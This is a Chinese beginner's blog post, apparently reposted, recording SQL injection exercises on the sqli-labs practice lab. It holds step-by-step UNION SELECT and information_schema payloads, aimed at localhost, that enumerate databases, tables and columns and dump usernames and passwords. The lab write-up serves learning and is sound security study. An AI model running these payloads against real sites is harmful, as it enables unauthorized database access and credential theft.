零基础从sqli-labs开始学SQL注入个人记录向
Posted 我还有头发还能学
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了零基础从sqli-labs开始学SQL注入个人记录向相关的知识,希望对你有一定的参考价值。
纯安服小白,想自学入坑一点,无基础也没有头绪,打算从打靶场开始一点点扩展开学习,如果有大佬愿意带带我的话感激不尽TAT
文中内容皆为自己查资料以及一部分个人理解,不保证完全正确,如果有错误的地方非常欢迎大佬们提出指导。
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
提示输入数字型参数作为ID
输入?id=1,url中,?后为参数。出现用户名密码,表示获取到数据库中的数据,不同的id可获得不同的数据。
判断注入点
此处判断出sql注入的第一个条件:可能存在注入的位置。GET的参数id是与数据库进行交互的点
在数字参数后加单引号,判断语句是否拼接以及是字符型还是数字型。
单引号报错,双引号不报错,推测语句闭合方式为单引号。加单引号报错,说明参数类型是字符型。(参考sql注入基础原理(超详细)_牛牛Blog的博客-CSDN博客_sql注入攻击的原理^v52^pc_rank_34_queryrelevant25,201^v3^add_ask&spm=1018.2226.3001.4187)
在单引号后加上注释符号(#或--+等),验证闭合方式。
判断第二个条件:是否能注入
id分别为1' and 1=1 --+和1' and 1=2--+,通过回显情况,进一步判断能否注入。1=1为永真,当1成功查询,若1=1也成功查询,则页面返回正常,1=2为永假,因此若1=2得到执行,则页面必返回不正常。通过对比二者返回结果,可知改点能否进行注入。
mysql数据库可以通过and 1=1和and 1=2来判断字符型还是数字型,输入?id=1 and 1=1和?id=1 and 1=2时,返回的都是id=1的结果,是由于id是一个int型的数值,无论是1还是1 and 1=1都判断为1,所以返回id=1的结果;如果是数字型,则?id=1 and 1=1返回id=1的结果,?id=1 and 1=2会没有回显,因为id=1是正确语句可以被查询,而1=2是永假,所以会有异常或无回显。
实际执行命令为SELECT name,password FROM 表 WHERE id = ‘1’ and 1=1 --+'(由于是字符型,所以需要将最后的单引号注释,保证可以正常执行。如果是数字型,则不需要加单引号,实际执行命令为SELECT name,password FROM 表 WHERE id = 1 and 1=1)
联合注入union
存在sql注入漏洞,接下来使用联合查询,联合查询需要两张表列数相同,所以先判断当前表的列数。order by 4时报错,表示超过列数(order by 1和order by列名没有什么区别,超过当前有的列数之后会报错,常用于判断列数)
联合查询union,将多条select语句的结果合并到一起,要求查询时多个select语句的检索到的字段数量必须一致,每一条记录的各字段类型和顺序最好一致,union默认去重,可使用union all包含重复项
联合查询union select1,2,3(前面order by得到的列数),可以显示我们插入的语句的返回位置。(参考链接:union select的使用sql注入中的union联合查询,union select 1,2,3_头顶蜘蛛网,脚踩大水缸的博客-CSDN博客_sql注入unionselect)
回显没有变化是因为union查询中前半部分id=1查询成功,因为源码中带了一个limit 0,1的语句,所以只回显是第一个也就是id=1的结果,就不会回显select 1,2,3的内容,所以我们要让前半部分查询失败,就会显示后半部分的内容(具体解释看上面那个参考链接)
因为id是从1开始的,所以id=-1时是查询不到的,这时候回显显示的就是select 1,2,3的结果,回显的是2,3的部分,也说明这里可以进行sql注入
使用mysql数据库中的一些函数获取一些数据信息,此处获取当前数据库名和版本号,使用database(),version()函数
获取该数据库中的表信息。将group_concat(table_name) from information_schema.tables where table_schema='security'--+ 翻译成人话就是:从information_schema数据库中的tables表中查找数据库security所含有的表有哪些
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
mysql语法:select xxx,xxx,xxx from xxx where xxx,犯傻写成?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security',3--+结果就报错了,应该是?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
获取表信息之后可以看到,security数据库中包含四个表,推断账号密码信息存在user表中,下一步获取字段信息。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
可以看到user表中有username和password字段,判断账号密码对应这两个字段。中间的id起到分隔账号和密码的作用,可以用其他代替。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
参考链接:
- 详细sqli-labs(1-65)通关讲解 详细sqli-labs(1-65)通关讲解_糊涂是福yyyy的博客-CSDN博客_sqllabs通关
- 简单聊聊SQL注入的原理以及一般步骤 https://www.jb51.net/article/238148.htm
- sql注入基础原理(超详细) sql注入基础原理(超详细)_牛牛Blog的博客-CSDN博客_sql注入攻击的原理
- 新人学习sqli-labs!最全教程(更新中)【写的很详细但不知道为什么只有第一关…】 新人学习sqli-labs!最全教程(更新中) - wuhuKD - 博客园
- sql注入中的union联合查询,union select 1,2,3 sql注入中的union联合查询,union select 1,2,3_头顶蜘蛛网,脚踩大水缸的博客-CSDN博客_sql注入unionselect
- SQL注入中可利用的函数,如database()、user(),@@datadir SQL注入中可利用的函数,如database()、user(),@@datadir_头顶蜘蛛网,脚踩大水缸的博客-CSDN博客_sql注入 user()
- 详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘--+ 详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘--+_头顶蜘蛛网,脚踩大水缸的博客-CSDN博客
- sql注入,关于id=‘1 and 1=1‘ sql注入,关于id=‘1 and 1=1‘_一晓风的博客-CSDN博客_sql注入id=1
SQL注入(Sqli-labs实战)|思路整理
不知道如何找注入点请看该篇文章:零基础看SQL注入
小知识:
数据库版本: version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
information_schema表特性,记录库名,表名,列名
information_schema.schemata:记录了所有数据库名
information_schema.tables:记录所有表名
information_schema.columns:记录所有列名
table_name:表名
column_name:列名
table_schema: 数据库名字
高权限注入及低权限注入
通过user()查询可知,用户权限为root(高权限),高权限表示可以有权限管理该机下的所有数据库:
可管理的数据库:
反之: 如果为低权限,就只能查询某一个特定的库
跨库查询及应用思路
获取所有数据库名:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name), 3 from information_schema.schemata
查询指定数据库的所有表名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
获取指定security数据库下的列名信息
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema='security'
查询指定数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
schemata下面的一些相关信息:
推荐几篇好的文章:
MSSQL注入
https://www.cnblogs.com/xishaonian/p/6173644.html
墨者刷题笔记
https://blog.csdn.net/qq_39936434/category_9103379.html
以上是关于零基础从sqli-labs开始学SQL注入个人记录向的主要内容,如果未能解决你的问题,请参考以下文章
对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)
通过sqli-labs学习sql注入——基础挑战之less1-3